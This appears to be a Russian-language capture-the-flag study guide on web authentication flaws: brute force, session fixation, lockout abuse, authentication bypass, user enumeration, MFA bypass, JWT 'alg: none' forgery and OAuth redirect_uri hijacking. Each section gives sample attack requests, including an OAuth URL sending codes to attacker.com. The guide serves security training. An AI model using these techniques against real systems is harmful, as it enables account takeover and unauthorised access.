Источник: https://github.com/AnaktaCTF/CTF/blob/main — WEB/Authentication vulnerabilities.md

Аутентификация — ключевой механизм безопасности, обеспечивающий доступ к информации и функциям только авторизованным пользователям. Ошибки в реализации этой системы нередко становятся причиной критических уязвимостей.


🔐 Что такое аутентификация?

Аутентификация — это процесс проверки подлинности пользователя или клиента. Существует три основных типа факторов аутентификации:

  • Знание: что-то, что пользователь знает (например, пароль).
  • Владение: что-то, чем пользователь владеет (например, телефон, токен).
  • Присущие характеристики: биометрия, поведенческие особенности.

❓ Как возникают уязвимости аутентификации?

Уязвимости в механизмах аутентификации обычно возникают по двум причинам:

  • Слабые механизмы защиты
    Например: отсутствие ограничения числа попыток входа, неиспользование MFA, уязвимые схемы токенов.

  • Ошибки в логике или реализации
    Например: можно обойти аутентификацию с помощью подделки запроса, изменить метод HTTP, получить доступ к защищённым ресурсам напрямую.

📌 Такие уязвимости позволяют злоумышленникам получить доступ к чужим аккаунтам или административной панели.

image

⚠️ Типовые уязвимости и как их найти

1. 🔁 Brute-force и Credential Stuffing

Суть: перебор паролей или логинов.

🔍 Как искать:

  • Повторно отправлять логин/пароль через Burp Intruder
  • Проверять, меняется ли ответ сервера (длина, код, сообщение)
  • Проверять ограничения по числу попыток

🛠 Инструменты:

  • Burp Suite Intruder (Payloads: словари, генераторы)
  • Hydra / Medusa (для SSH, FTP, Web)
  • CeWL, seclists, rockyou.txt

🧨 Как эксплуатировать:


POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin\&password=123456

— если сервер не блокирует, перебор можно масштабировать.
image


2. 🔀 Уязвимости управления сессиями

Суть: можно угадать или повторно использовать session ID.

🔍 Как искать:

  • Авторизоваться, скопировать session ID → перелогиниться: должен быть новый ID
  • Проверять длину и структуру куки: PHPSESSID=abc123 — плохой признак
  • Использовать уязвимость XSS для кражи куки

🧨 Как эксплуатировать:

  • Если session фиксирован (не обновляется), украденная кука даёт полный доступ
  • XSS → document.cookie → отправка на сервер злоумышленника

3. 🛑 Account Lockout / DoS на пользователей

Суть: блокировка аккаунта после нескольких неверных входов.

🔍 Как искать:

  • Попробовать 3–5 неверных входов для одного логина
  • Сравнить HTTP-ответ после N попыток

🧨 Как эксплуатировать:

  • DoS на известных пользователей (admin, hr, ceo): автоматическая блокировка их входа
  • Особенно опасно при отсутствии CAPTCHA или антибот-защиты

4. 🧪 Байпас аутентификации

Суть: доступ к защищённым страницам без авторизации.

🔍 Как искать:

  • Доступ к /admin без токена / сессии
  • Изменение метода запроса (GET ↔ POST)
  • Использование path traversal: /../admin, %2e%2e/

🧨 Как эксплуатировать:


GET /admin%2e%2e/dashboard HTTP/1.1

или


GET /login HTTP/1.1
X-Original-URL: /admin

🛠 Полезно:

  • Burp Repeater для манипуляций путями и заголовками
  • ffuf, dirsearch, gobuster — нащупать скрытые/недокументированные пути
    image

5. 📤 User Enumeration

Суть: сервер "выдаёт" информацию о существующих логинах.

🔍 Как искать:

  • Ввод несуществующего логина → другой ответ (по содержимому или коду)
  • Email-форма восстановления → разные ответы

🧨 Как эксплуатировать:

  • Словарь логинов: admin, user, test, bob...
  • Использовать Burp Intruder: добавить список логинов, сравнить длину ответа

6. 🔒 MFA обход

Суть: MFA реализована, но обходится.

🔍 Как искать:

  • Пропуск второго этапа через прямой POST
  • Изменение параметров запроса (например, токена или пути)
  • Проверка логики: можно ли получить токен без верификации?

🧨 Как эксплуатировать:

  • MFA только визуально отделена, но backend не проверяет факт прохождения
  • Replay-код (если OTP фиксирован) или захват токена по MITM
    image

7. 🔑 JWT уязвимости

Суть: манипуляция токеном доступа.

🔍 Как искать:

  • Посмотреть alg в JWT: none или HS256
  • Сменить alg на none и удалить подпись
  • Попробовать подобрать секрет к HS256 (через словарь)

🧨 Как эксплуатировать:

  • Подмена payload: роль user → admin

{
"alg": "none",
"typ": "JWT"
}.
{
"user": "admin"
}.

🛠 Инструменты:

  • jwt.io
  • jwt_tool.py
  • Burp Decoder / Repeater

8. 🌐 Уязвимости OAuth/OpenID

Суть: злоумышленник перехватывает авторизацию или подменяет URI.

🔍 Как искать:

  • Непроверенный redirect_uri (можно указать свой сайт)
  • Отсутствие параметра state или проверок CSRF
  • URL манипуляции в потоке авторизации

🧨 Как эксплуатировать:


https://auth.example.com/authorize?client_id=X\&redirect_uri=https://attacker.com\&response_type=code

  • Replay или фальсификация access_token

📚 Полезные ресурсы

  • PortSwigger Academy – Authentication
  • Инструменты:
    Burp Suite | jwt_tool | hydra | ffuf | wfuzz | cewl | seclists | gobuster | dirsearch